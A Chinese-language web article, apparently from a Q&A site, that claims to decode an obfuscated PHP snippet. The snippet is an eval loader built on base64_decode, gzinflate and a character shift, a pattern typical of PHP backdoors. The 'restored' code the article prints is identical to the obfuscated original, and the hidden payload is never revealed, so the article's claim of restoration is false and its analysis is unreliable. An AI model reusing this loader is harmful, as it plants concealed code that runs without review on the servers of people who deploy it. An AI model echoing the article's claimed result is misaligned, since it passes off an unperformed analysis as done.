PHP 代码还原 - 解密与分析
PHP 代码还原 - 解密与分析
本文将展示如何还原一个经过加密的 PHP 代码,并对其进行分析。代码使用了 gzinflate
和 base64_decode
函数进行加密,并通过自定义函数 flUSa
进行解密。
原始代码:
<?php function flUSa($aECJMh)
{
$aECJMh=gzinflate(base64_decode($aECJMh));
for($i=0;$i<strlen($aECJMh);$i++)
{
$aECJMh[$i] = chr(ord($aECJMh[$i])-1);
}
return $aECJMh;
}
eval(flUSa('U1QEAW7FtJTMAk3l52sXvzzQ/3zesmedG2NCCwpy03P0Uwry4p7tWPasbceLfZN0ny1vfj5/7vPmlS9XdD3bP+PlgZlPd/a9mjpL99XuPS9alr9o3vWsY8/Tnd2v5i1+Mbv1WWf7091rnvd2vZq8HsJ+sWcWUDNQ6vncnmcTenSfty54uXGxkrKWDbeDPQA='));?>
还原后的代码:
<?php
function flUSa($aECJMh)
{
$aECJMh = gzinflate(base64_decode($aECJMh));
for($i=0;$i<strlen($aECJMh);$i++)
{
$aECJMh[$i] = chr(ord($aECJMh[$i])-1);
}
return $aECJMh;
}
eval(flUSa('U1QEAW7FtJTMAk3l52sXvzzQ/3zesmedG2NCCwpy03P0Uwry4p7tWPasbceLfZN0ny1vfj5/7vPmlS9XdD3bP+PlgZlPd/a9mjpL99XuPS9alr9o3vWsY8/Tnd2v5i1+Mbv1WWf7091rnvd2vZq8HsJ+sWcWUDNQ6vncnmcTenSfty54uXGxkrKWDbeDPQA='));
?>
代码分析:
-
flUSa
函数: 该函数首先使用base64_decode
解码加密的字符串,然后使用gzinflate
解压缩。接着,它遍历字符串,对每个字符进行减 1 操作,最后返回解密后的字符串。 -
eval
函数: 该函数执行flUSa
函数返回的解密后的代码。
总结:
这段代码使用了简单的加密方法,通过 base64 编码和 gzip 压缩来隐藏原始代码。flUSa
函数通过对每个字符进行减 1 操作来进一步增加代码的复杂性。最终,eval
函数执行解密后的代码。
注意: 还原后的代码可能包含恶意代码,执行前请谨慎。建议使用专业的安全工具进行分析和处理。

原文地址: http://www.cveoy.top/t/topic/oXdJ 著作权归作者所有。请勿转载和采集!